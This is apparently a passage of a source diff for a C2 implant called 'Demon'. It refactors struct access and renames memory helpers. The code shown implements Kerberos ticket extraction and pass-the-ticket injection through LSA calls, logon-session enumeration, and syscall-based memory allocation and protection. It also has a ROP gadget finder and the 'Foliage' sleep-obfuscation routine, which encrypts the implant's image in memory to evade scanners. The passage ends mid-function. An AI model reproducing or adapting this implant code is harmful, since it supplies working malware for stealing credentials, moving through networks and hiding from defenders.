status = Instance->Win32.LsaRegisterLogonProcess( (PLSA_STRING)&lsaString, &hLsaLocal, &mode );
if ( ! NT_SUCCESS( status ) ) {
status = Instance.Win32.LsaNtStatusToWinError( status );
status = Instance->Win32.LsaNtStatusToWinError( status );
}
TokenRevSelf();
}
@@ -221,16 +221,16 @@ NTSTATUS GetLogonSessionData( LUID luid, PLOGON_SESSION_DATA* data )
PSECURITY_LOGON_SESSION_DATA logonData = NULL;
NTSTATUS status = STATUS_UNSUCCESSFUL;
sessionData = Instance.Win32.LocalAlloc( LPTR, sizeof( LOGON_SESSION_DATA ) );
sessionData = Instance->Win32.LocalAlloc( LPTR, sizeof( LOGON_SESSION_DATA ) );
if ( ! sessionData )
return status;
if ( luid.LowPart != 0 )
{
status = Instance.Win32.LsaGetLogonSessionData( &luid, &logonData );
status = Instance->Win32.LsaGetLogonSessionData( &luid, &logonData );
if ( NT_SUCCESS( status ) )
{
sessionData->sessionData = Instance.Win32.LocalAlloc( LPTR, sizeof(*sessionData->sessionData) );
sessionData->sessionData = Instance->Win32.LocalAlloc( LPTR, sizeof(*sessionData->sessionData) );
if ( sessionData->sessionData != NULL )
{
sessionData->sessionCount = 1;
@@ -247,17 +247,17 @@ NTSTATUS GetLogonSessionData( LUID luid, PLOGON_SESSION_DATA* data )
{
ULONG logonSessionCount;
PLUID logonSessionList;
status = Instance.Win32.LsaEnumerateLogonSessions( &logonSessionCount, &logonSessionList );
status = Instance->Win32.LsaEnumerateLogonSessions( &logonSessionCount, &logonSessionList );
if ( NT_SUCCESS( status ) )
{
sessionData->sessionData = Instance.Win32.LocalAlloc( LPTR, logonSessionCount * sizeof(*sessionData->sessionData) );
sessionData->sessionData = Instance->Win32.LocalAlloc( LPTR, logonSessionCount * sizeof(*sessionData->sessionData) );
if ( sessionData->sessionData != NULL )
{
sessionData->sessionCount = logonSessionCount;
for ( int i = 0; i < logonSessionCount; i++ )
{
LUID luid2 = logonSessionList[i];
status = Instance.Win32.LsaGetLogonSessionData( &luid2, &logonData );
status = Instance->Win32.LsaGetLogonSessionData( &luid2, &logonData );
if ( NT_SUCCESS(status) )
{
sessionData->sessionData[i] = logonData;
@@ -267,7 +267,7 @@ NTSTATUS GetLogonSessionData( LUID luid, PLOGON_SESSION_DATA* data )
sessionData->sessionData[i] = NULL;
}
}
Instance.Win32.LsaFreeReturnBuffer( logonSessionList );
Instance->Win32.LsaFreeReturnBuffer( logonSessionList );
*data = sessionData;
}
else
@@ -290,7 +290,7 @@ VOID ExtractTicket( HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING ta
ULONG TicketSize = 0;
PBYTE Ticket = NULL;
retrieveRequest = Instance.Win32.LocalAlloc( LPTR, responseSize * sizeof( KERB_RETRIEVE_TKT_REQUEST ) );
retrieveRequest = Instance->Win32.LocalAlloc( LPTR, responseSize * sizeof( KERB_RETRIEVE_TKT_REQUEST ) );
if ( ! retrieveRequest )
return;
@@ -304,13 +304,13 @@ VOID ExtractTicket( HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING ta
retrieveRequest->TargetName.Buffer = ( PWSTR )( (PBYTE )retrieveRequest + sizeof( KERB_RETRIEVE_TKT_REQUEST ));
MemCopy( retrieveRequest->TargetName.Buffer, targetName.Buffer, targetName.MaximumLength );
status = Instance.Win32.LsaCallAuthenticationPackage( hLsa, authPackage, retrieveRequest, responseSize, (LPVOID*)&retrieveResponse, &responseSize, &protocolStatus );
status = Instance->Win32.LsaCallAuthenticationPackage( hLsa, authPackage, retrieveRequest, responseSize, (LPVOID*)&retrieveResponse, &responseSize, &protocolStatus );
if ( NT_SUCCESS( status ) && NT_SUCCESS( protocolStatus ) )
{
if ( NT_SUCCESS( protocolStatus ) )
{
TicketSize = retrieveResponse->Ticket.EncodedTicketSize;
Ticket = Instance.Win32.LocalAlloc( LPTR, TicketSize );
Ticket = Instance->Win32.LocalAlloc( LPTR, TicketSize );
if ( Ticket )
{
MemCopy( Ticket, retrieveResponse->Ticket.EncodedTicket, TicketSize );
@@ -329,9 +329,9 @@ VOID ExtractTicket( HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING ta
}
if ( retrieveResponse )
Instance.Win32.LsaFreeReturnBuffer( retrieveResponse );
Instance->Win32.LsaFreeReturnBuffer( retrieveResponse );
if ( retrieveRequest )
Instance.Win32.LocalFree( retrieveRequest );
Instance->Win32.LocalFree( retrieveRequest );
}
VOID CopySessionInfo( PSESSION_INFORMATION Session, PSECURITY_LOGON_SESSION_DATA Data )
@@ -347,10 +347,10 @@ VOID CopySessionInfo( PSESSION_INFORMATION Session, PSECURITY_LOGON_SESSION_DATA
Session->Session = Data->Session;
// UserSID
WCHAR* sid = NULL;
if ( Instance.Win32.ConvertSidToStringSidW(Data->Sid, &sid) )
if ( Instance->Win32.ConvertSidToStringSidW(Data->Sid, &sid) )
{
StringCopyW( Session->UserSID, sid );
Instance.Win32.LocalFree( sid ); sid = NULL;
Instance->Win32.LocalFree( sid ); sid = NULL;
}
// LogonTime
Session->LogonTime.QuadPart = Data->LogonTime.QuadPart;
@@ -440,14 +440,14 @@ BOOL Ptt( HANDLE hToken, PBYTE Ticket, DWORD TicketSize, LUID luid )
goto END;
}
status = Instance.Win32.LsaLookupAuthenticationPackage( hLsa, &krbAuth, &authPackage );
status = Instance->Win32.LsaLookupAuthenticationPackage( hLsa, &krbAuth, &authPackage );
if ( ! NT_SUCCESS( status ) )
{
PRINTF( "[!] LsaLookupAuthenticationPackage %lx\n", status );
goto END;
}
submitRequest = Instance.Win32.LocalAlloc( LPTR, submitSize * sizeof( KERB_SUBMIT_TKT_REQUEST ) );
submitRequest = Instance->Win32.LocalAlloc( LPTR, submitSize * sizeof( KERB_SUBMIT_TKT_REQUEST ) );
if ( ! submitRequest )
goto END;
@@ -462,7 +462,7 @@ BOOL Ptt( HANDLE hToken, PBYTE Ticket, DWORD TicketSize, LUID luid )
MemCopy( RVA( PBYTE, submitRequest, submitRequest->KerbCredOffset ), Ticket, TicketSize );
status = Instance.Win32.LsaCallAuthenticationPackage( hLsa, authPackage, submitRequest, submitSize, &response, &responseSize, &protocolStatus );
status = Instance->Win32.LsaCallAuthenticationPackage( hLsa, authPackage, submitRequest, submitSize, &response, &responseSize, &protocolStatus );
if ( ! NT_SUCCESS( status ) )
{
@@ -481,10 +481,10 @@ BOOL Ptt( HANDLE hToken, PBYTE Ticket, DWORD TicketSize, LUID luid )
END:
if ( submitRequest ) {
Instance.Win32.LocalFree( submitRequest );
Instance->Win32.LocalFree( submitRequest );
}
if ( hLsa ) {
Instance.Win32.LsaDeregisterLogonProcess( hLsa );
Instance->Win32.LsaDeregisterLogonProcess( hLsa );
}
MemZero( name, sizeof( name ) );
@@ -534,7 +534,7 @@ BOOL Purge( HANDLE hToken, LUID luid )
goto END;
}
status = Instance.Win32.LsaLookupAuthenticationPackage( hLsa, &krbAuth, &authPackage );
status = Instance->Win32.LsaLookupAuthenticationPackage( hLsa, &krbAuth, &authPackage );
if ( ! NT_SUCCESS( status ) )
{
PRINTF( "[!] LsaLookupAuthenticationPackage %lx\n", status );
@@ -552,11 +552,11 @@ BOOL Purge( HANDLE hToken, LUID luid )
purgeRequest.RealmName = (UNICODE_STRING){.Buffer = L"", .Length = 0, .MaximumLength = 1};
purgeRequest.ServerName = (UNICODE_STRING){.Buffer = L"", .Length = 0, .MaximumLength = 1};
status = Instance.Win32.LsaCallAuthenticationPackage( hLsa, authPackage, &purgeRequest, sizeof(KERB_PURGE_TKT_CACHE_REQUEST), &purgeResponse, &responseSize, &protocolStatus );
status = Instance->Win32.LsaCallAuthenticationPackage( hLsa, authPackage, &purgeRequest, sizeof(KERB_PURGE_TKT_CACHE_REQUEST), &purgeResponse, &responseSize, &protocolStatus );
if ( purgeResponse )
{
Instance.Win32.LsaFreeReturnBuffer( purgeResponse ); purgeResponse = NULL;
Instance->Win32.LsaFreeReturnBuffer( purgeResponse ); purgeResponse = NULL;
}
if ( ! NT_SUCCESS( status ) )
@@ -575,7 +575,7 @@ BOOL Purge( HANDLE hToken, LUID luid )
END:
if (hLsa) {
Instance.Win32.LsaDeregisterLogonProcess( hLsa );
Instance->Win32.LsaDeregisterLogonProcess( hLsa );
}
MemZero( name, sizeof( name ) );
@@ -631,10 +631,10 @@ PSESSION_INFORMATION Klist( HANDLE hToken, LUID luid )
goto END;
}
status = Instance.Win32.LsaLookupAuthenticationPackage( hLsa, &krbAuth, &authPackage );
status = Instance->Win32.LsaLookupAuthenticationPackage( hLsa, &krbAuth, &authPackage );
if ( ! NT_SUCCESS( status ) )
{
PRINTF( "[!] LsaLookupAuthenticationPackage %ld\n", Instance.Win32.LsaNtStatusToWinError( status ) );
PRINTF( "[!] LsaLookupAuthenticationPackage %ld\n", Instance->Win32.LsaNtStatusToWinError( status ) );
goto END;
}
@@ -652,7 +652,7 @@ PSESSION_INFORMATION Klist( HANDLE hToken, LUID luid )
if ( sessionData->sessionData[i] == NULL )
continue;
NewSession = Instance.Win32.LocalAlloc( LPTR, sizeof( SESSION_INFORMATION ) );
NewSession = Instance->Win32.LocalAlloc( LPTR, sizeof( SESSION_INFORMATION ) );
if ( ! NewSession )
continue;
@@ -677,13 +677,13 @@ PSESSION_INFORMATION Klist( HANDLE hToken, LUID luid )
else
cacheRequest.LogonId = ( LUID ){.HighPart = 0, .LowPart = 0};
Instance.Win32.LsaFreeReturnBuffer( sessionData->sessionData[i] );
Instance->Win32.LsaFreeReturnBuffer( sessionData->sessionData[i] );
cacheResponse = NULL;
status = Instance.Win32.LsaCallAuthenticationPackage( hLsa, authPackage, &cacheRequest, sizeof( cacheRequest ), (LPVOID*)&cacheResponse, &responseSize, &protocolStatus );
status = Instance->Win32.LsaCallAuthenticationPackage( hLsa, authPackage, &cacheRequest, sizeof( cacheRequest ), (LPVOID*)&cacheResponse, &responseSize, &protocolStatus );
if ( ! NT_SUCCESS( status ) )
{
PRINTF( "[!] LsaCallAuthenticationPackage %ld\n", Instance.Win32.LsaNtStatusToWinError( status ) );
PRINTF( "[!] LsaCallAuthenticationPackage %ld\n", Instance->Win32.LsaNtStatusToWinError( status ) );
continue;
}
@@ -701,7 +701,7 @@ PSESSION_INFORMATION Klist( HANDLE hToken, LUID luid )
for ( int j = 0; j < cacheResponse->CountOfTickets; j++ )
{
TicketInfo = Instance.Win32.LocalAlloc( LPTR, sizeof( TICKET_INFORMATION ) );
TicketInfo = Instance->Win32.LocalAlloc( LPTR, sizeof( TICKET_INFORMATION ) );
if ( ! TicketInfo )
continue;
@@ -725,20 +725,20 @@ PSESSION_INFORMATION Klist( HANDLE hToken, LUID luid )
}
}
Instance.Win32.LsaFreeReturnBuffer( cacheResponse ); cacheResponse = NULL;
Instance->Win32.LsaFreeReturnBuffer( cacheResponse ); cacheResponse = NULL;
}
ReturnValue = TRUE;
END:
if ( sessionData && sessionData->sessionData ) {
Instance.Win32.LocalFree( sessionData->sessionData );
Instance->Win32.LocalFree( sessionData->sessionData );
}
if ( sessionData ) {
Instance.Win32.LocalFree( sessionData );
Instance->Win32.LocalFree( sessionData );
}
if ( hLsa ) {
Instance.Win32.LsaDeregisterLogonProcess( hLsa );
Instance->Win32.LsaDeregisterLogonProcess( hLsa );
}
MemZero( name, sizeof( name ) );
@@ -758,10 +758,10 @@ LUID* GetLUID( HANDLE hToken )
if ( ! hToken )
return NULL;
if ( ! Instance.Win32.GetTokenInformation( hToken, TokenStatistics, &tokenStats, sizeof( tokenStats ), &tokenSize ) )
if ( ! Instance->Win32.GetTokenInformation( hToken, TokenStatistics, &tokenStats, sizeof( tokenStats ), &tokenSize ) )
return NULL;
luid = Instance.Win32.LocalAlloc( LPTR, sizeof( LUID ) );
luid = Instance->Win32.LocalAlloc( LPTR, sizeof( LUID ) );
if ( ! luid )
return NULL;
@@ -1,5 +1,55 @@
#include <Demon.h>
#include <Core/Memory.h>
#include <core/Memory.h>
#include <core/MiniStd.h>
/*!
* @brief
* allocate memory on the heap
*
* @param Length
* size of memory to allocate
*
* @return
* allocated buffer pointer on the heap
*/
PVOID MmHeapAlloc(
_In_ ULONG Length
) {
return Instance->Win32.RtlAllocateHeap( NtProcessHeap(), HEAP_ZERO_MEMORY, Length );
}
/*!
* @brief
* allocate memory on the heap
*
* @param Length
* size of memory to reallocate
*
* @return
* allocated buffer pointer on the heap
*/
PVOID MmHeapReAlloc(
_In_ PVOID Memory,
_In_ ULONG Length
) {
return Instance->Win32.RtlReAllocateHeap( NtProcessHeap(), HEAP_ZERO_MEMORY, Memory, Length );
}
/*!
* @brief
* free memory on the heap
*
* @param Memory
* memory to free
*
* @return
* if successfully freed memory on the heap
*/
BOOL MmHeapFree(
_In_ PVOID Memory
) {
return Instance->Win32.RtlFreeHeap( NtProcessHeap(), 0, Memory );
}
/*!
* Allocates virtual memory
@@ -9,7 +59,7 @@
* @param Protect
* @return
*/
PVOID MemoryAlloc(
PVOID MmVirtualAlloc(
IN DX_MEMORY Methode,
IN HANDLE Process,
IN SIZE_T Size,
@@ -19,7 +69,7 @@ PVOID MemoryAlloc(
PVOID Memory = NULL;
NTSTATUS NtStatus = STATUS_SUCCESS;
if ( Instance.Config.Implant.Verbose && ( Methode != DX_MEM_DEFAULT ) ) {
if ( Instance->Config.Implant.Verbose && ( Methode != DX_MEM_DEFAULT ) ) {
Package = PackageCreate( DEMON_INFO );
PackageAddInt32( Package, DEMON_INFO_MEM_ALLOC );
}
@@ -27,16 +77,16 @@ PVOID MemoryAlloc(
switch ( Methode )
{
case DX_MEM_DEFAULT: PUTS( "DX_MEM_DEFAULT" ) {
Memory = Instance.Config.Memory.Alloc != DX_MEM_DEFAULT ?
MemoryAlloc( Instance.Config.Memory.Alloc, Process, Size, Protect ) : // if the config memory alloc ain't default then use that
MemoryAlloc( DX_MEM_SYSCALL, Process, Size, Protect ); // if it is default then simply choose Native/Syscall
Memory = Instance->Config.Memory.Alloc != DX_MEM_DEFAULT ?
MmVirtualAlloc( Instance->Config.Memory.Alloc, Process, Size, Protect ) : // if the config memory alloc ain't default then use that
MmVirtualAlloc( DX_MEM_SYSCALL, Process, Size, Protect ); // if it is default then simply choose Native/Syscall
return Memory;
}
case DX_MEM_WIN32: {
PRINTF( "VirtualAllocEx( %x, NULL, %ld, %ld, %ld ) => ", Process, Size, MEM_RESERVE | MEM_COMMIT, Protect );
Memory = Instance.Win32.VirtualAllocEx( Process, NULL, Size, MEM_RESERVE | MEM_COMMIT, Protect );
Memory = Instance->Win32.VirtualAllocEx( Process, NULL, Size, MEM_RESERVE | MEM_COMMIT, Protect );
PRINTF( "%p\n", Memory )
break;
}
@@ -44,7 +94,7 @@ PVOID MemoryAlloc(
case DX_MEM_SYSCALL: {
if ( ! NT_SUCCESS( NtStatus = SysNtAllocateVirtualMemory( Process, &Memory, 0, &Size, MEM_COMMIT | MEM_RESERVE, Protect ) ) ) {
PRINTF( "[-] NtAllocateVirtualMemory: Failed:[%lx]\n", NtStatus )
NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
Memory = NULL;
}
@@ -58,7 +108,7 @@ PVOID MemoryAlloc(
PRINTF( "Memory:[%p] MemSize:[%d]\n", Memory, Size );
if ( Memory && Instance.Config.Implant.Verbose ) {
if ( Memory && Instance->Config.Implant.Verbose ) {
Package = PackageCreate( DEMON_INFO );
PackageAddInt32( Package, DEMON_INFO_MEM_ALLOC );
PackageAddPtr( Package, Memory );
@@ -80,7 +130,7 @@ PVOID MemoryAlloc(
* @param Protect
* @return
*/
BOOL MemoryProtect(
BOOL MmVirtualProtect(
IN DX_MEMORY Method,
IN HANDLE Process,
IN PVOID Memory,
@@ -95,21 +145,21 @@ BOOL MemoryProtect(
switch ( Method )
{
case DX_MEM_DEFAULT: PUTS( "DX_MEM_DEFAULT" ) {
if ( Instance.Config.Memory.Alloc != DX_MEM_DEFAULT ) {
return MemoryProtect( Instance.Config.Memory.Alloc, Process, Memory, Size, Protect );
if ( Instance->Config.Memory.Alloc != DX_MEM_DEFAULT ) {
return MmVirtualProtect( Instance->Config.Memory.Alloc, Process, Memory, Size, Protect );
} else {
return MemoryProtect( DX_MEM_SYSCALL, Process, Memory, Size, Protect );
return MmVirtualProtect( DX_MEM_SYSCALL, Process, Memory, Size, Protect );
}
}
case DX_MEM_WIN32: {
Success = Instance.Win32.VirtualProtectEx( Process, Memory, Size, Protect, &OldProtect );
Success = Instance->Win32.VirtualProtectEx( Process, Memory, Size, Protect, &OldProtect );
break;
}
case DX_MEM_SYSCALL: {
if ( ! NT_SUCCESS( NtStatus = SysNtProtectVirtualMemory( Process, &Memory, &Size, Protect, &OldProtect ) ) ) {
NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
} else {
Success = TRUE;
}
@@ -122,7 +172,7 @@ BOOL MemoryProtect(
}
}
if ( Success && Instance.Config.Implant.Verbose ) {
if ( Success && Instance->Config.Implant.Verbose ) {
Package = PackageCreate( DEMON_INFO );
PackageAddInt32( Package, DEMON_INFO_MEM_PROTECT );
PackageAddPtr( Package, Memory );
@@ -136,7 +186,7 @@ BOOL MemoryProtect(
return Success;
}
BOOL MemoryWrite(
BOOL MmVirtualWrite(
IN HANDLE Process,
OUT PVOID Memory,
IN PVOID Buffer,
@@ -156,38 +206,60 @@ BOOL MemoryWrite(
* @param Memory
* @return
*/
BOOL MemoryFree(
BOOL MmVirtualFree(
IN HANDLE Process,
IN PVOID Memory
) {
SIZE_T Length = 0;
MEMORY_INFORMATION_CLASS mic = 0;
MEMORY_BASIC_INFORMATION mbi = { 0 };
BOOL IsMapped = FALSE;
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
SIZE_T Length = { 0 };
MEMORY_BASIC_INFORMATION MmBasic = { 0 };
NtStatus = SysNtQueryVirtualMemory(
//
// query memory type
//
if ( ! NT_SUCCESS( SysNtQueryVirtualMemory(
Process,
Memory,
mic,
&mbi,
sizeof(mbi),
NULL);
if ( NT_SUCCESS ( NtStatus ) )
{
IsMapped = mbi.Type == MEM_MAPPED;
MemoryBasicInformation,
&MmBasic,
sizeof( MmBasic ),
NULL
) ) ) {
return FALSE;
}
if ( IsMapped )
{
//
// check if it's a mapped image
//
if ( ( MmBasic.Type == MEM_MAPPED ) ) {
return NT_SUCCESS( SysNtUnmapViewOfSection( NtCurrentProcess(), Memory ) );
}
else
{
} else {
return NT_SUCCESS( SysNtFreeVirtualMemory( Process, &Memory, &Length, MEM_RELEASE ) );
}
}
PVOID MmGadgetFind(
_In_ PVOID Memory,
_In_ SIZE_T Length,
_In_ PVOID PatternBuffer,
_In_ SIZE_T PatternLength
) {
/* check if required arguments have been specified */
if ( ( ! Memory || ! Length ) ||
( ! PatternBuffer || ! PatternLength )
) {
return NULL;
}
/* now search for gadgets/pattern */
for ( SIZE_T Len = 0; Len < Length; Len++ ) {
if ( MemCompare( C_PTR( U_PTR( Memory ) + Len ), PatternBuffer, PatternLength ) == 0 ) {
return C_PTR( U_PTR( Memory ) + Len );
}
}
return NULL;
}
#ifdef SHELLCODE
/*!
* Frees the reflective loader
@@ -205,6 +277,6 @@ BOOL FreeReflectiveLoader(
PRINTF( "Freeing the reflective loader at: 0x%p\n", BaseAddress )
return MemoryFree( NtCurrentProcess(), BaseAddress );
return MmVirtualFree( NtCurrentProcess(), BaseAddress );
}
#endif
@@ -1,6 +1,6 @@
#include <Demon.h>
#include <Core/MiniStd.h>
#include <core/MiniStd.h>
/*
* Most of the functions from here are from VX-Underground https://github.com/vxunderground/VX-API
@@ -302,7 +302,7 @@ UINT64 GetSystemFileTime( )
FILETIME ft;
LARGE_INTEGER li;
Instance.Win32.GetSystemTimeAsFileTime(&ft); //returns ticks in UTC
Instance->Win32.GetSystemTimeAsFileTime(&ft); //returns ticks in UTC
li.LowPart = ft.dwLowDateTime;
li.HighPart = ft.dwHighDateTime;
@@ -1,30 +1,16 @@
#include <Demon.h>
#include <Common/Macros.h>
#include <Core/SleepObf.h>
#include <Core/Win32.h>
#include <Core/MiniStd.h>
#include <Core/Thread.h>
#include <common/Macros.h>
#include <core/SleepObf.h>
#include <core/Win32.h>
#include <core/MiniStd.h>
#include <core/Thread.h>
#include <rpcndr.h>
#include <ntstatus.h>
#if _WIN64
typedef struct
{
DWORD Length;
DWORD MaximumLength;
PVOID Buffer;
} USTRING;
typedef struct _SLEEP_PARAM
{
UINT32 TimeOut;
PVOID Master;
PVOID Slave;
} SLEEP_PARAM, *PSLEEP_PARAM ;
/*!
* @brief
* foliage is a sleep obfuscation technique that is using APC calls
@@ -67,17 +53,17 @@ VOID FoliageObf(
DWORD dwProtect = PAGE_EXECUTE_READWRITE;
SIZE_T TmpValue = 0;
ImageBase = Instance.Session.ModuleBase;
ImageSize = Instance.Session.ModuleSize;
ImageBase = Instance->Session.ModuleBase;
ImageSize = Instance->Session.ModuleSize;
// Check if .text section is defined
if (Instance.Session.TxtBase != 0 && Instance.Session.TxtSize != 0) {
TxtBase = Instance.Session.TxtBase;
TxtSize = Instance.Session.TxtSize;
if (Instance->Session.TxtBase != 0 && Instance->Session.TxtSize != 0) {
TxtBase = Instance->Session.TxtBase;
TxtSize = Instance->Session.TxtSize;
dwProtect = PAGE_EXECUTE_READ;
} else {
TxtBase = Instance.Session.ModuleBase;
TxtSize = Instance.Session.ModuleSize;
TxtBase = Instance->Session.ModuleBase;
TxtSize = Instance->Session.ModuleSize;
}
// Generate random keys
@@ -92,22 +78,22 @@ VOID FoliageObf(
if ( NT_SUCCESS( SysNtCreateEvent( &hEvent, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE ) ) )
{
if ( NT_SUCCESS( SysNtCreateThreadEx( &hThread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), Instance.Config.Implant.ThreadStartAddr, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL ) ) )
if ( NT_SUCCESS( SysNtCreateThreadEx( &hThread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), Instance->Config.Implant.ThreadStartAddr, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL ) ) )
{
RopInit = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
RopCap = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
RopSpoof = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
RopInit = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
RopCap = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
RopSpoof = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
RopBegin = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
RopSetMemRw = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
RopMemEnc = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
RopGetCtx = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
RopSetCtx = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
RopWaitObj = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
RopMemDec = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
RopSetMemRx = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
RopSetCtx2 = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
RopExitThd = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
RopBegin = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
RopSetMemRw = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
RopMemEnc = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
RopGetCtx = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
RopSetCtx = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
RopWaitObj = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
RopMemDec = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
RopSetMemRx = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
RopSetCtx2 = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
RopExitThd = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) );
RopInit->ContextFlags = CONTEXT_FULL;
RopCap->ContextFlags = CONTEXT_FULL;
@@ -126,7 +112,7 @@ VOID FoliageObf(
if ( NT_SUCCESS( SysNtDuplicateObject( NtCurrentProcess(), NtCurrentThread(), NtCurrentProcess(), &hDupObj, THREAD_ALL_ACCESS, 0, 0 ) ) )
{
if ( NT_SUCCESS( Instance.Win32.NtGetContextThread( hThread, RopInit ) ) )
if ( NT_SUCCESS( Instance->Win32.NtGetContextThread( hThread, RopInit ) ) )
{
MemCopy( RopBegin, RopInit, sizeof( CONTEXT ) );
MemCopy( RopSetMemRw, RopInit, sizeof( CONTEXT ) );
@@ -140,111 +126,111 @@ VOID FoliageObf(
MemCopy( RopExitThd, RopInit, sizeof( CONTEXT ) );
RopBegin->ContextFlags = CONTEXT_FULL;
RopBegin->Rip = U_PTR( Instance.Win32.NtWaitForSingleObject );
RopBegin->Rip = U_PTR( Instance->Win32.NtWaitForSingleObject );
RopBegin->Rsp -= U_PTR( 0x1000 * 13 );
RopBegin->Rcx = U_PTR( hEvent );
RopBegin->Rdx = U_PTR( FALSE );
RopBegin->R8 = U_PTR( NULL );
*( PVOID* )( RopBegin->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert );
*( PVOID* )( RopBegin->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );
// NtWaitForSingleObject( Evt, FALSE, NULL )
RopSetMemRw->ContextFlags = CONTEXT_FULL;
RopSetMemRw->Rip = U_PTR( Instance.Win32.NtProtectVirtualMemory );
RopSetMemRw->Rip = U_PTR( Instance->Win32.NtProtectVirtualMemory );
RopSetMemRw->Rsp -= U_PTR( 0x1000 * 12 );
RopSetMemRw->Rcx = U_PTR( NtCurrentProcess() );
RopSetMemRw->Rdx = U_PTR( &ImageBase );
RopSetMemRw->R8 = U_PTR( &ImageSize );
RopSetMemRw->R9 = U_PTR( PAGE_READWRITE );
*( PVOID* )( RopSetMemRw->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert );
*( PVOID* )( RopSetMemRw->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );
*( PVOID* )( RopSetMemRw->Rsp + ( sizeof( ULONG_PTR ) * 0x5 ) ) = C_PTR( &TmpValue );
// NtProtectVirtualMemory( NtCurrentProcess(), &Img, &Len, PAGE_READWRITE, NULL, );
RopMemEnc->ContextFlags = CONTEXT_FULL;
RopMemEnc->Rip = U_PTR( Instance.Win32.SystemFunction032 );
RopMemEnc->Rip = U_PTR( Instance->Win32.SystemFunction032 );
RopMemEnc->Rsp -= U_PTR( 0x1000 * 11 );
RopMemEnc->Rcx = U_PTR( &Rc4 );
RopMemEnc->Rdx = U_PTR( &Key );
*( PVOID* )( RopMemEnc->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert );
*( PVOID* )( RopMemEnc->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );
// SystemFunction032( &Rc4, &Key ); RC4 Encryption
RopGetCtx->ContextFlags = CONTEXT_FULL;
RopGetCtx->Rip = U_PTR( Instance.Win32.NtGetContextThread );
RopGetCtx->Rip = U_PTR( Instance->Win32.NtGetContextThread );
RopGetCtx->Rsp -= U_PTR( 0x1000 * 10 );
RopGetCtx->Rcx = U_PTR( hDupObj );
RopGetCtx->Rdx = U_PTR( RopCap );
*( PVOID* )( RopGetCtx->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert );
*( PVOID* )( RopGetCtx->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );
// NtGetContextThread( Src, Cap );
RopSetCtx->ContextFlags = CONTEXT_FULL;
RopSetCtx->Rip = U_PTR( Instance.Win32.NtSetContextThread );
RopSetCtx->Rip = U_PTR( Instance->Win32.NtSetContextThread );
RopSetCtx->Rsp -= U_PTR( 0x1000 * 9 );
RopSetCtx->Rcx = U_PTR( hDupObj );
RopSetCtx->Rdx = U_PTR( RopSpoof );
*( PVOID* )( RopSetCtx->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert );
*( PVOID* )( RopSetCtx->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );
// NtSetContextThread( Src, Spf );
// NOTE: Here is the thread sleeping...
RopWaitObj->ContextFlags = CONTEXT_FULL;
RopWaitObj->Rip = U_PTR( Instance.Win32.WaitForSingleObjectEx );
RopWaitObj->Rip = U_PTR( Instance->Win32.WaitForSingleObjectEx );
RopWaitObj->Rsp -= U_PTR( 0x1000 * 8 );
RopWaitObj->Rcx = U_PTR( hDupObj );
RopWaitObj->Rdx = U_PTR( Param->TimeOut );
RopWaitObj->R8 = U_PTR( FALSE );
*( PVOID* )( RopWaitObj->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert );
